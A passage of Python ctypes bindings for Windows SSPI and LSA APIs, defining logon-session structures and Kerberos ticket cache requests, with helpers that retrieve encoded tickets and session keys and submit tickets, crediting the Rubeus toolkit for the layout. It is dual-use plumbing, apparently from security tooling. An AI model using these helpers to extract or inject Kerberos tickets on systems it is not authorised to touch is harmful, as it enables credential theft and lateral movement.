229 | CERT_TRUST_STATUS = 0x80000084 #The pBuffer parameter contains a pointer to a CERT_TRUST_STATUS structure that specifies trust information about the certificate.This attribute is supported only on the client. | |
230 | CREDS = 0x80000080 # The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. The client credentials can be either user name and password or user name and smart card PIN. This attribute is supported only on the server. | |
231 | CREDS_2 = 0x80000086 #The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. If the client credential is user name and password, the buffer is a packed KERB_INTERACTIVE_LOGON structure. If the client credential is user name and smart card PIN, the buffer is a packed KERB_CERTIFICATE_LOGON structure. If the client credential is an online identity credential, the buffer is a marshaled SEC_WINNT_AUTH_IDENTITY_EX2 structure. This attribute is supported only on the CredSSP server. Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. | |
232 | NEGOTIATION_PACKAGE = 0x80000081 #The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfo structure that specifies the name of the authentication package negotiated by the Microsoft Negotiate provider. | |
233 | PACKAGE_INFO = 10 #The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfostructure.Returns information on the SSP in use. | |
234 | SERVER_AUTH_FLAGS = 0x80000083 #The pBuffer parameter contains a pointer to a SecPkgContext_Flags structure that specifies information about the flags in the current security context. This attribute is supported only on the client. | |
235 | SIZES = 0x0 #The pBuffer parameter contains a pointer to a SecPkgContext_Sizes structure. Queries the sizes of the structures used in the per-message functions and authentication exchanges. | |
236 | SUBJECT_SECURITY_ATTRIBUTES = 124 # The pBuffer parameter contains a pointer to a SecPkgContext_SubjectAttributes structure. This value returns information about the security attributes for the connection. This value is supported only on the CredSSP server. Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. | |
237 | ENDPOINT_BINDINGS = 26 | |
238 | ||
239 | # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-_secbuffer | |
240 | class SECBUFFER_TYPE(enum.Enum): | |
241 | SECBUFFER_ALERT = 17 #The buffer contains an alert message. | |
242 | SECBUFFER_ATTRMASK = 4026531840 #The buffer contains a bitmask for a SECBUFFER_READONLY_WITH_CHECKSUM buffer. | |
243 | SECBUFFER_CHANNEL_BINDINGS = 14 # The buffer contains channel binding information. | |
244 | SECBUFFER_CHANGE_PASS_RESPONSE = 15 #The buffer contains a DOMAIN_PASSWORD_INFORMATION structure. | |
245 | SECBUFFER_DATA = 1 #The buffer contains common data. The security package can read and write this data, for example, to encrypt some or all of it. | |
246 | SECBUFFER_DTLS_MTU = 24#The buffer contains the setting for the maximum transmission unit (MTU) size for DTLS only. The default value is 1096 and the valid configurable range is between 200 and 64*1024. | |
247 | SECBUFFER_EMPTY = 0 #This is a placeholder in the buffer array. The caller can supply several such entries in the array, and the security package can return information in them. For more information, see SSPI Context Semantics. | |
248 | SECBUFFER_EXTRA = 5 #The security package uses this value to indicate the number of extra or unprocessed bytes in a message. | |
249 | SECBUFFER_MECHLIST = 11 #The buffer contains a protocol-specific list of object identifiers (OIDs). It is not usually of interest to callers. | |
250 | SECBUFFER_MECHLIST_SIGNATURE = 12 #The buffer contains a signature of a SECBUFFER_MECHLIST buffer. It is not usually of interest to callers. | |
251 | SECBUFFER_MISSING = 4 #The security package uses this value to indicate the number of missing bytes in a particular message. The pvBuffer member is ignored in this type. | |
252 | SECBUFFER_PKG_PARAMS = 3 #These are transport-to-package–specific parameters. For example, the NetWare redirector may supply the server object identifier, while DCE RPC can supply an association UUID, and so on. | |
253 | SECBUFFER_PRESHARED_KEY = 22 #The buffer contains the preshared key. The maximum allowed PSK buffer size is 256 bytes. | |
254 | SECBUFFER_PRESHARED_KEY_IDENTITY = 23 #The buffer contains the preshared key identity. | |
255 | SECBUFFER_SRTP_MASTER_KEY_IDENTIFIER = 20 #The buffer contains the SRTP master key identifier. | |
256 | SECBUFFER_SRTP_PROTECTION_PROFILES = 19 #The buffer contains the list of SRTP protection profiles, in descending order of preference. | |
257 | SECBUFFER_STREAM_HEADER = 7 #The buffer contains a protocol-specific header for a particular record. It is not usually of interest to callers. | |
258 | SECBUFFER_STREAM_TRAILER = 6 #The buffer contains a protocol-specific trailer for a particular record. It is not usually of interest to callers. | |
259 | SECBUFFER_TARGET = 13 #This flag is reserved. Do not use it. | |
260 | SECBUFFER_TARGET_HOST = 16 #The buffer specifies the service principal name (SPN) of the target. | |
261 | #This value is supported by the Digest security package when used with channel bindings. | |
262 | #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. | |
263 | SECBUFFER_TOKEN = 2 #The buffer contains the security token portion of the message. This is read-only for input parameters or read/write for output parameters. | |
264 | SECBUFFER_TOKEN_BINDING = 21 #The buffer contains the supported token binding protocol version and key parameters, in descending order of preference. | |
265 | SECBUFFER_APPLICATION_PROTOCOLS = 18 #The buffer contains a list of application protocol IDs, one list per application protocol negotiation extension type to be enabled. | |
266 | SECBUFFER_PADDING = 9 | |
267 | ||
268 | class FILETIME(Structure): | |
269 | _fields_ = [ | |
270 | ("dwLowDateTime", DWORD), | |
271 | ("dwHighDateTime", DWORD), | |
272 | ] | |
273 | PFILETIME = POINTER(FILETIME) | |
274 | TimeStamp = FILETIME | |
275 | PTimeStamp = PFILETIME | |
276 | ||
277 | # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-secpkgcontext_sessionkey | |
278 | class SecPkgContext_SessionKey(Structure): | |
279 | _fields_ = [('SessionKeyLength',ULONG),('SessionKey', LPBYTE)] | |
280 | ||
281 | @property | |
282 | def Buffer(self): | |
283 | return string_at(self.SessionKey, size=self.SessionKeyLength) | |
284 | ||
285 | # https://github.com/benjimin/pywebcorp/blob/master/pywebcorp/ctypes_sspi.py | |
286 | class SecHandle(Structure): | |
287 | ||
288 | _fields_ = [ | |
289 | ('dwLower',POINTER(ULONG)), | |
290 | ('dwUpper',POINTER(ULONG)) | |
291 | ] | |
292 | def __init__(self): # populate deeply (empty memory fields) rather than shallow null POINTERs. | |
293 | super(SecHandle, self).__init__(pointer(ULONG()), pointer(ULONG())) | |
294 | ||
295 | class SecBuffer(Structure): | |
296 | """Stores a memory buffer: size, type-flag, and POINTER. | |
297 | The type can be empty (0) or token (2). | |
298 | InitializeSecurityContext will write to the buffer that is flagged "token" | |
299 | and update the size, or else fail 0x80090321=SEC_E_BUFFER_TOO_SMALL.""" | |
300 | _fields_ = [ | |
301 | ('cbBuffer',ULONG), | |
302 | ('BufferType',ULONG), | |
303 | ('pvBuffer',PVOID) | |
304 | ] | |
305 | def __init__(self, token=b'\x00'*maxtoken_size, buffer_type = SECBUFFER_TYPE.SECBUFFER_TOKEN): | |
306 | buf = create_string_buffer(token, size=len(token)) | |
307 | Structure.__init__(self,sizeof(buf),buffer_type.value,cast(byref(buf),PVOID)) | |
308 | ||
309 | @property | |
310 | def Buffer(self): | |
311 | return (SECBUFFER_TYPE(self.BufferType), string_at(self.pvBuffer, size=self.cbBuffer)) | |
312 | ||
313 | class SecBufferDesc(Structure): | |
314 | """Descriptor stores SECBUFFER_VERSION=0, number of buffers (e.g. one), | |
315 | and POINTER to an array of SecBuffer structs.""" | |
316 | _fields_ = [('ulVersion',ULONG),('cBuffers',ULONG),('pBuffers',POINTER(SecBuffer))] | |
317 | def __init__(self, secbuffers = None): | |
318 | #secbuffers = a list of security buffers (SecBuffer) | |
319 | if secbuffers is not None: | |
320 | Structure.__init__(self,0,len(secbuffers),(SecBuffer * len(secbuffers))(*secbuffers)) | |
321 | else: | |
322 | Structure.__init__(self,0,1,pointer(SecBuffer())) | |
323 | def __getitem__(self, index): | |
324 | return self.pBuffers[index] | |
325 | ||
326 | @property | |
327 | def Buffers(self): | |
328 | data = [] | |
329 | for i in range(self.cBuffers): | |
330 | data.append(self.pBuffers[i].Buffer) | |
331 | return data | |
332 | ||
333 | PSecBufferDesc = POINTER(SecBufferDesc) | |
334 | ||
335 | PSecHandle = POINTER(SecHandle) | |
336 | CredHandle = SecHandle | |
337 | PCredHandle = PSecHandle | |
338 | CtxtHandle = SecHandle | |
339 | PCtxtHandle = PSecHandle | |
340 | ||
341 | class LUID(Structure): | |
342 | _fields_ = [ | |
343 | ("LowPart", DWORD), | |
344 | ("HighPart", LONG), | |
345 | ] | |
346 | ||
347 | def to_int(self): | |
348 | return LUID.luid_to_int(self) | |
349 | ||
350 | @staticmethod | |
351 | def luid_to_int(luid): | |
352 | return (luid.HighPart << 32) + luid.LowPart | |
353 | ||
354 | @staticmethod | |
355 | def from_int(i): | |
356 | luid = LUID() | |
357 | luid.HighPart = i >> 32 | |
358 | luid.LowPart = i & 0xFFFFFFFF | |
359 | return luid | |
360 | ||
361 | PLUID = POINTER(LUID) | |
362 | ||
363 | class LSA_STRING(Structure): | |
364 | _fields_ = [ | |
365 | ("Length", USHORT), | |
366 | ("MaximumLength", USHORT), | |
367 | ("Buffer", POINTER(c_char)), | |
368 | ] | |
369 | def to_string(self): | |
370 | return string_at(self.Buffer, self.MaximumLength).decode() | |
371 | ||
372 | PLSA_STRING = POINTER(LSA_STRING) | |
373 | ||
374 | class LSA_UNICODE_STRING(Structure): | |
375 | _fields_ = [ | |
376 | ("Length", USHORT), | |
377 | ("MaximumLength", USHORT), | |
378 | ("Buffer", POINTER(c_char)), | |
379 | ] | |
380 | ||
381 | @staticmethod | |
382 | def from_string(s): | |
383 | s = s.encode('utf-16-le') | |
384 | lus = LSA_UNICODE_STRING() | |
385 | lus.Buffer = create_string_buffer(s, len(s)) | |
386 | lus.MaximumLength = len(s)+1 | |
387 | lus.Length = len(s) | |
388 | return lus | |
389 | ||
390 | def to_string(self): | |
391 | return string_at(self.Buffer, self.MaximumLength).decode('utf-16-le').replace('\x00','') | |
392 | ||
393 | PLSA_UNICODE_STRING = POINTER(LSA_UNICODE_STRING) | |
394 | ||
395 | class LSA_LAST_INTER_LOGON_INFO(Structure): | |
396 | _fields_ = [ | |
397 | ("LastSuccessfulLogon", LARGE_INTEGER), | |
398 | ("LastFailedLogon", LARGE_INTEGER), | |
399 | ("FailedAttemptCountSinceLastSuccessfulLogon", ULONG) | |
400 | ] | |
401 | def to_dict(self): | |
402 | return { | |
403 | "LastSuccessfulLogon" : self.LastSuccessfulLogon, | |
404 | "LastFailedLogon" : self.LastFailedLogon, | |
405 | "FailedAttemptCountSinceLastSuccessfulLogon" : self.FailedAttemptCountSinceLastSuccessfulLogon | |
406 | } | |
407 | PLSA_LAST_INTER_LOGON_INFO = POINTER(LSA_LAST_INTER_LOGON_INFO) | |
408 | ||
409 | class SECURITY_LOGON_SESSION_DATA(Structure): | |
410 | _fields_ = [ | |
411 | ("Size", ULONG), | |
412 | ("LogonId", LUID), | |
413 | ("UserName", LSA_UNICODE_STRING), | |
414 | ("LogonDomain", LSA_UNICODE_STRING), | |
415 | ("AuthenticationPackage", LSA_UNICODE_STRING), | |
416 | ("LogonType", ULONG), | |
417 | ("Session", ULONG), | |
418 | ("Sid", PVOID), | |
419 | ("LogonTime", LARGE_INTEGER), | |
420 | ("LogonServer", LSA_UNICODE_STRING), | |
421 | ("DnsDomainName", LSA_UNICODE_STRING), | |
422 | ("Upn", LSA_UNICODE_STRING), | |
423 | ("UserFlags", ULONG), | |
424 | ("LastLogonInfo", LSA_LAST_INTER_LOGON_INFO), | |
425 | ("LogonScript", LSA_UNICODE_STRING), | |
426 | ("ProfilePath", LSA_UNICODE_STRING), | |
427 | ("HomeDirectory", LSA_UNICODE_STRING), | |
428 | ("HomeDirectoryDrive", LSA_UNICODE_STRING), | |
429 | ("LogoffTime", LARGE_INTEGER), | |
430 | ("KickOffTime", LARGE_INTEGER), | |
431 | ("PasswordLastSet", LARGE_INTEGER), | |
432 | ("PasswordCanChange", LARGE_INTEGER), | |
433 | ("PasswordMustChange", LARGE_INTEGER), | |
434 | ] | |
435 | ||
436 | def to_dict(self): | |
437 | return { | |
438 | "LogonId": self.LogonId.to_int(), | |
439 | "UserName": self.UserName.to_string(), | |
440 | "LogonDomain": self.LogonDomain.to_string(), | |
441 | "AuthenticationPackage": self.AuthenticationPackage.to_string(), | |
442 | "LogonType": self.LogonType, | |
443 | "Session": self.Session, | |
444 | "Sid": str(SID.from_ptr(self.Sid)), #PVOID), # PSID | |
445 | "LogonTime": self.LogonTime, | |
446 | "LogonServer": self.LogonServer.to_string(), | |
447 | "DnsDomainName": self.DnsDomainName.to_string(), | |
448 | "Upn": self.Upn.to_string(), | |
449 | "UserFlags": self.UserFlags, | |
450 | "LastLogonInfo": self.LastLogonInfo.to_dict(), | |
451 | "LogonScript": self.LogonScript.to_string(), | |
452 | "ProfilePath": self.ProfilePath.to_string(), | |
453 | "HomeDirectory": self.HomeDirectory.to_string(), | |
454 | "HomeDirectoryDrive": self.HomeDirectoryDrive.to_string(), | |
455 | "LogoffTime": self.LogoffTime, | |
456 | "KickOffTime": self.KickOffTime, | |
457 | "PasswordLastSet": self.PasswordLastSet, | |
458 | "PasswordCanChange": self.PasswordCanChange, | |
459 | "PasswordMustChange": self.PasswordMustChange, | |
460 | } | |
461 | ||
462 | PSECURITY_LOGON_SESSION_DATA = POINTER(SECURITY_LOGON_SESSION_DATA) | |
463 | ||
464 | ||
465 | class KERB_PURGE_TKT_CACHE_REQUEST(Structure): | |
466 | _fields_ = [ | |
467 | ("MessageType", DWORD), | |
468 | ("LogonId", LUID), | |
469 | ("ServerName", LSA_STRING), | |
470 | ("RealmName", LSA_STRING), | |
471 | ] | |
472 | ||
473 | def __init__(self, logonid = 0, servername=None, realname = None): | |
474 | if isinstance(logonid, int): | |
475 | logonid = LUID.from_int(logonid) | |
476 | ||
477 | super(KERB_PURGE_TKT_CACHE_REQUEST, self).__init__(KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage.value, logonid) | |
478 | ||
479 | class KERB_TICKET_CACHE_INFO(Structure): | |
480 | _fields_ = [ | |
481 | ("ServerName", LSA_UNICODE_STRING), | |
482 | ("RealmName", LSA_UNICODE_STRING), | |
483 | ("StartTime", LARGE_INTEGER), | |
484 | ("EndTime", LARGE_INTEGER), | |
485 | ("RenewTime", LARGE_INTEGER), | |
486 | ("EncryptionType", LONG), | |
487 | ("TicketFlags", ULONG) | |
488 | ] | |
489 | ||
490 | def to_dict(self): | |
491 | return { | |
492 | "ServerName" : self.ServerName.to_string(), | |
493 | "RealmName" : self.RealmName.to_string(), | |
494 | "StartTime" : self.StartTime, | |
495 | "EndTime" : self.EndTime, | |
496 | "RenewTime" : self.RenewTime, | |
497 | "EncryptionType" : self.EncryptionType, | |
498 | "TicketFlags" : self.TicketFlags, | |
499 | } | |
500 | PKERB_TICKET_CACHE_INFO = POINTER(KERB_TICKET_CACHE_INFO) | |
501 | ||
502 | class KERB_CRYPTO_KEY(Structure): | |
503 | _fields_ = [ | |
504 | ("KeyType", LONG), | |
505 | ("Length", ULONG), | |
506 | ("Value", PVOID), #PUCHAR | |
507 | ] | |
508 | ||
509 | def to_dict(self): | |
510 | return { | |
511 | 'KeyType' : self.KeyType, | |
512 | 'Key' : string_at(self.Value, self.Length) | |
513 | } | |
514 | ||
515 | PKERB_CRYPTO_KEY = POINTER(KERB_CRYPTO_KEY) | |
516 | ||
517 | class KERB_EXTERNAL_NAME(Structure): | |
518 | _fields_ = [ | |
519 | ("NameType", SHORT), | |
520 | ("NameCount", USHORT), | |
521 | ("Names", LSA_UNICODE_STRING) #LIST!!!! not implemented! | |
522 | ] | |
523 | PKERB_EXTERNAL_NAME = POINTER(KERB_EXTERNAL_NAME) | |
524 | ||
525 | class KERB_EXTERNAL_TICKET(Structure): | |
526 | _fields_ = [ | |
527 | ("ServiceName" , PVOID), #PKERB_EXTERNAL_NAME | |
528 | ("TargetName" , PVOID), #PKERB_EXTERNAL_NAME | |
529 | ("ClientName" , PVOID), #PKERB_EXTERNAL_NAME | |
530 | ("DomainName" , LSA_UNICODE_STRING), | |
531 | ("TargetDomainName" , LSA_UNICODE_STRING), | |
532 | ("AltTargetDomainName" , LSA_UNICODE_STRING), | |
533 | ("SessionKey" , KERB_CRYPTO_KEY), | |
534 | ("TicketFlags" , ULONG), | |
535 | ("Flags" , ULONG), | |
536 | ("KeyExpirationTime" , LARGE_INTEGER), | |
537 | ("StartTime" , LARGE_INTEGER), | |
538 | ("EndTime" , LARGE_INTEGER), | |
539 | ("RenewUntil" , LARGE_INTEGER), | |
540 | ("TimeSkew" , LARGE_INTEGER), | |
541 | ("EncodedTicketSize" , ULONG), | |
542 | ("EncodedTicket" , PVOID) | |
543 | ] | |
544 | ||
545 | def get_data(self): | |
546 | return { | |
547 | 'Key' : self.SessionKey.to_dict(), | |
548 | 'Ticket' : string_at(self.EncodedTicket, self.EncodedTicketSize) | |
549 | } | |
550 | ||
551 | PKERB_EXTERNAL_TICKET = KERB_EXTERNAL_TICKET | |
552 | ||
553 | class KERB_QUERY_TKT_CACHE_REQUEST(Structure): | |
554 | _fields_ = [ | |
555 | ("MessageType", DWORD), | |
556 | ("LogonId", LUID), | |
557 | ] | |
558 | ||
559 | def __init__(self, logonid = 0): | |
560 | if isinstance(logonid, int): | |
561 | logonid = LUID.from_int(logonid) | |
562 | ||
563 | super(KERB_QUERY_TKT_CACHE_REQUEST, self).__init__(KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage.value, logonid) | |
564 | ||
565 | class KERB_QUERY_TKT_CACHE_RESPONSE_SIZE(Structure): | |
566 | _fields_ = [ | |
567 | ("MessageType", DWORD), | |
568 | ("CountOfTickets", ULONG), | |
569 | ] | |
570 | class KERB_QUERY_TKT_CACHE_RESPONSE(Structure): | |
571 | _fields_ = [ | |
572 | ("MessageType", DWORD), | |
573 | ("CountOfTickets", ULONG), | |
574 | ("Tickets", KERB_TICKET_CACHE_INFO) #array of tickets!! | |
575 | ] | |
576 | ||
577 | class KERB_SUBMIT_TKT_REQUEST(Structure): | |
578 | _fields_ = [ | |
579 | ("MessageType", DWORD), | |
580 | ("LogonId", LUID), | |
581 | ("TicketFlags", ULONG), | |
582 | ("Key", KERB_CRYPTO_KEY), | |
583 | ("KerbCredSize", ULONG), | |
584 | ("KerbCredOffset" , ULONG) | |
585 | ] | |
586 | ||
587 | KERB_SUBMIT_TKT_REQUEST_OFFSET = sizeof(KERB_SUBMIT_TKT_REQUEST()) | |
588 | ||
589 | def submit_tkt_helper(ticket_data, logonid=0): | |
590 | offset = KERB_SUBMIT_TKT_REQUEST_OFFSET - 4 | |
591 | if isinstance(logonid, int): | |
592 | logonid = LUID.from_int(logonid) | |
593 | ||
594 | class KERB_SUBMIT_TKT_REQUEST(Structure): | |
595 | _pack_ = 4 | |
596 | _fields_ = [ | |
597 | ("MessageType", DWORD), | |
598 | ("LogonId", LUID), | |
599 | ("TicketFlags", ULONG), | |
600 | #("KeyType", LONG), | |
601 | ("Length", ULONG), | |
602 | ("Value", PVOID), #PUCHAR | |
603 | ("KerbCredSize", ULONG), | |
604 | ("KerbCredOffset" , ULONG), | |
605 | ("TicketData" , c_byte * len(ticket_data)) | |
606 | ] | |
607 | ||
608 | req = KERB_SUBMIT_TKT_REQUEST() | |
609 | req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage.value | |
610 | req.LogonId = logonid | |
611 | req.TicketFlags = 0 | |
612 | req.Key = KERB_CRYPTO_KEY() #empty key | |
613 | req.KerbCredSize = len(ticket_data) | |
614 | #req.KerbCredOffset = | |
615 | req.TicketData = (c_byte * len(ticket_data))(*ticket_data) | |
616 | ||
617 | ||
618 | #struct_end = addressof(req) + sizeof(req) | |
619 | #print('struct_end %s' % hex(struct_end)) | |
620 | #ticketdata_start = struct_end - len(ticket_data) | |
621 | #targetname_start_padded = ticketdata_start - (ticketdata_start % sizeof(c_void_p)) | |
622 | #print('targetname_start_padded %s' % hex(targetname_start_padded)) | |
623 | #print('offset %s' % offset) | |
624 | #print('len(ticket_data) %s' % len(ticket_data)) | |
625 | req.KerbCredOffset = offset #targetname_start_padded | |
626 | ||
627 | #print(hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req))) | |
628 | #print() | |
629 | #print(hexdump(string_at(addressof(req) + req.KerbCredOffset, 10 ))) | |
630 | #if string_at(addressof(req) + req.KerbCredOffset, req.KerbCredSize) != ticket_data: | |
631 | # print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!') | |
632 | ||
633 | return req | |
634 | ||
635 | class KERB_RETRIEVE_TKT_REQUEST(Structure): | |
636 | _fields_ = [ | |
637 | ("MessageType", DWORD), | |
638 | ("LogonId", LUID), | |
639 | ("TargetName", LSA_UNICODE_STRING), | |
640 | ("TicketFlags", ULONG), | |
641 | ("CacheOptions", ULONG), | |
642 | ("EncryptionType", LONG), | |
643 | ("CredentialsHandle", PVOID), #SecHandle | |
644 | ] | |
645 | ||
646 | def __init__(self, targetname, ticketflags = 0x0, cacheoptions = 0x8, encryptiontype = 0x0, logonid = 0): | |
647 | if isinstance(logonid, int): | |
648 | logonid = LUID.from_int(logonid) | |
649 | ||
650 | super(KERB_RETRIEVE_TKT_REQUEST, self).__init__( | |
651 | KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value, | |
652 | logonid, | |
653 | LSA_UNICODE_STRING.from_string(targetname), | |
654 | ticketflags, | |
655 | cacheoptions, | |
656 | encryptiontype, | |
657 | None, | |
658 | ) | |
659 | ||
660 | def retrieve_tkt_helper(targetname, logonid = 0, ticketflags = 0x0, cacheoptions = 0x8, encryptiontype = 0x0, temp_offset = 0): | |
661 | # Rubeus helped me here with the info that the "targetname" structure's internal pointer | |
662 | # must be pointing to the bottom of the actual KERB_RETRIEVE_TKT_REQUEST otherwise you will get a generic error | |
663 | # Sadly that wasn't completely enough because <insert vauge reasons here>. So I introduced an extra pointer to serve | |
664 | # as a platform-independent padding between the oringinal structure and the actual targetname bytes. | |
665 | # | |
666 | # For reference: | |
667 | # https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/LSA.cs | |
668 | ||
669 | if isinstance(logonid, int): | |
670 | logonid = LUID.from_int(logonid) | |
671 | ||
672 | targetname_enc = targetname.encode('utf-16-le') + b'\x00\x00' | |
673 | targetname_len_alloc = len(targetname_enc) | |
674 | class KERB_RETRIEVE_TKT_REQUEST(Structure): | |
675 | _fields_ = [ | |
676 | ("MessageType", DWORD), | |
677 | ("LogonId", LUID), | |
678 | ("TargetName", LSA_UNICODE_STRING), | |
679 | ("TicketFlags", ULONG), | |
680 | ("CacheOptions", ULONG), | |
681 | ("EncryptionType", LONG), | |
682 | ("CredentialsHandle", PVOID), #SecHandle | |
683 | ("UNK", PVOID), #I put this here otherwise there is an error "Invalid parameter". Probably padding issue but I dunno | |
684 | ("TargetNameData", (c_byte * targetname_len_alloc)), | |
685 | ] | |
686 | ||
687 | req = KERB_RETRIEVE_TKT_REQUEST() | |
688 | req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value | |
689 | req.LogonId = logonid | |
690 | req.TicketFlags = ticketflags | |
691 | req.CacheOptions = cacheoptions | |
692 | req.EncryptionType = encryptiontype | |
693 | req.TargetNameData = (c_byte * len(targetname_enc))(*targetname_enc) | |
694 | ||
695 | struct_end = addressof(req) + sizeof(req) | |
696 | targetname_start = struct_end - targetname_len_alloc | |
697 | targetname_start_padded = targetname_start - (targetname_start % sizeof(c_void_p)) | |
698 | ||
699 | lsa_target = LSA_UNICODE_STRING() | |
700 | lsa_target.Length = len(targetname.encode('utf-16-le')) | |
701 | lsa_target.MaximumLength = targetname_len_alloc | |
702 | lsa_target.Buffer = cast(targetname_start_padded, POINTER(c_char)) | |
703 | ||
704 | req.TargetName = lsa_target | |
705 | ||
706 | #print(targetname_start_padded) | |
707 | #print(lsa_target.Buffer.contents) | |
708 | ##print(lsa_target.to_string()) | |
709 | #print(string_at(targetname_start_padded, lsa_target.MaximumLength)) | |
710 | #print('a %s' % addressof(req)) | |
711 | #print('s %s' % sizeof(req)) | |
712 | #hd = hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req)) | |
713 | #print(hd) | |
714 | ||
715 | return req | |
716 | ||
717 | class KERB_RETRIEVE_TKT_RESPONSE(Structure): | |
718 | _fields_ = [ | |
719 | ("Ticket", KERB_EXTERNAL_TICKET), | |
720 | ] | |
721 | ||
722 | # Invalid handle value is -1 casted to void pointer. | |
723 | try: | |
724 | INVALID_HANDLE_VALUE = c_void_p(-1).value #-1 #0xFFFFFFFF | |
725 | except TypeError: | |
726 | if sizeof(c_void_p) == 4: | |
727 | INVALID_HANDLE_VALUE = 0xFFFFFFFF | |
728 | elif sizeof(c_void_p) == 8: | |
729 | INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF | |
730 | else: | |
731 | raise | |
732 | ||
733 | def get_lsa_error(ret_status): | |
734 | return WinError(LsaNtStatusToWinError(ret_status)) | |
735 | ||
736 | def RaiseIfZero(result, func = None, arguments = ()): | |
737 | """ | |
738 | Error checking for most Win32 API calls. | |
739 | ||
740 | The function is assumed to return an integer, which is C{0} on error. | |
741 | In that case the C{WindowsError} exception is raised. | |
742 | """ | |
743 | if not result: | |
744 | raise WinError() | |
745 | return result | |
746 | ||
747 | def LsaRaiseIfNotErrorSuccess(result, func = None, arguments = ()): | |
748 | """ | |
749 | Error checking for Win32 Registry API calls. | |
750 | ||
751 | The function is assumed to return a Win32 error code. If the code is not | |
752 | C{ERROR_SUCCESS} then a C{WindowsError} exception is raised. | |
753 | """ | |
754 | if result != ERROR_SUCCESS: | |
755 | raise WinError(LsaNtStatusToWinError(result)) | |
756 | return result | |
757 | ||
758 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsantstatustowinerror | |
759 | def LsaNtStatusToWinError(errcode): | |
760 | _LsaConnectUntrusted = windll.Advapi32.LsaNtStatusToWinError | |
761 | _LsaConnectUntrusted.argtypes = [NTSTATUS] | |
762 | _LsaConnectUntrusted.restype = ULONG | |
763 | ||
764 | res = _LsaConnectUntrusted(errcode) | |
765 | if res == 0x13D: | |
766 | raise Exception('ERROR_MR_MID_NOT_FOUND for %s' % errcode) | |
767 | return res | |
768 | ||
769 | ||
770 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsafreereturnbuffer | |
771 | def LsaFreeReturnBuffer(pbuffer): | |
772 | _LsaFreeReturnBuffer = windll.Secur32.LsaFreeReturnBuffer | |
773 | _LsaFreeReturnBuffer.argtypes = [PVOID] | |
774 | _LsaFreeReturnBuffer.restype = NTSTATUS | |
775 | _LsaFreeReturnBuffer.errcheck = LsaRaiseIfNotErrorSuccess | |
776 | ||
777 | _LsaFreeReturnBuffer(pbuffer) | |
778 | ||
779 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaconnectuntrusted | |
780 | def LsaConnectUntrusted(): | |
781 | _LsaConnectUntrusted = windll.Secur32.LsaConnectUntrusted | |
782 | _LsaConnectUntrusted.argtypes = [PHANDLE] | |
783 | _LsaConnectUntrusted.restype = NTSTATUS | |
784 | _LsaConnectUntrusted.errcheck = LsaRaiseIfNotErrorSuccess | |
785 | ||
786 | lsa_handle = HANDLE(INVALID_HANDLE_VALUE) | |
787 | _LsaConnectUntrusted(byref(lsa_handle)) | |
788 | return lsa_handle | |
789 | ||
790 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaderegisterlogonprocess | |
791 | def LsaDeregisterLogonProcess(lsa_handle): | |
792 | _LsaDeregisterLogonProcess = windll.Secur32.LsaDeregisterLogonProcess | |
793 | _LsaDeregisterLogonProcess.argtypes = [HANDLE] | |
794 | _LsaDeregisterLogonProcess.restype = NTSTATUS | |
795 | _LsaDeregisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess | |
796 | ||
797 | _LsaDeregisterLogonProcess(lsa_handle) | |
798 | ||
799 | return | |
800 | ||
801 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaregisterlogonprocess | |
802 | def LsaRegisterLogonProcess(logon_process_name): | |
803 | #logon_process_name == This string must not exceed 127 bytes. | |
804 | _LsaRegisterLogonProcess = windll.Secur32.LsaRegisterLogonProcess | |
805 | _LsaRegisterLogonProcess.argtypes = [PLSA_STRING, PHANDLE, PLSA_OPERATIONAL_MODE] | |
806 | _LsaRegisterLogonProcess.restype = NTSTATUS | |
807 | _LsaRegisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess | |
808 | ||
809 | if isinstance(logon_process_name, str): | |
810 | logon_process_name = logon_process_name.encode() | |
811 | ||
812 | pname = LSA_STRING() | |
813 | pname.Buffer = create_string_buffer(logon_process_name) | |
814 | pname.Length = len(logon_process_name) | |
815 | pname.MaximumLength = len(logon_process_name) + 1 | |
816 | ||
817 | lsa_handle = HANDLE(INVALID_HANDLE_VALUE) | |
818 | dummy = LSA_OPERATIONAL_MODE(0) | |
819 | _LsaRegisterLogonProcess(byref(pname), byref(lsa_handle), byref(dummy)) | |
820 | ||
821 | return lsa_handle | |
822 | ||
823 | ||
824 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsalookupauthenticationpackage | |
825 | def LsaLookupAuthenticationPackage(lsa_handle, package_name): | |
826 | #logon_process_name == This string must not exceed 127 bytes. | |
827 | _LsaLookupAuthenticationPackage = windll.Secur32.LsaLookupAuthenticationPackage | |
828 | _LsaLookupAuthenticationPackage.argtypes = [HANDLE, PLSA_STRING, PULONG] | |
829 | _LsaLookupAuthenticationPackage.restype = NTSTATUS | |
830 | _LsaLookupAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess | |
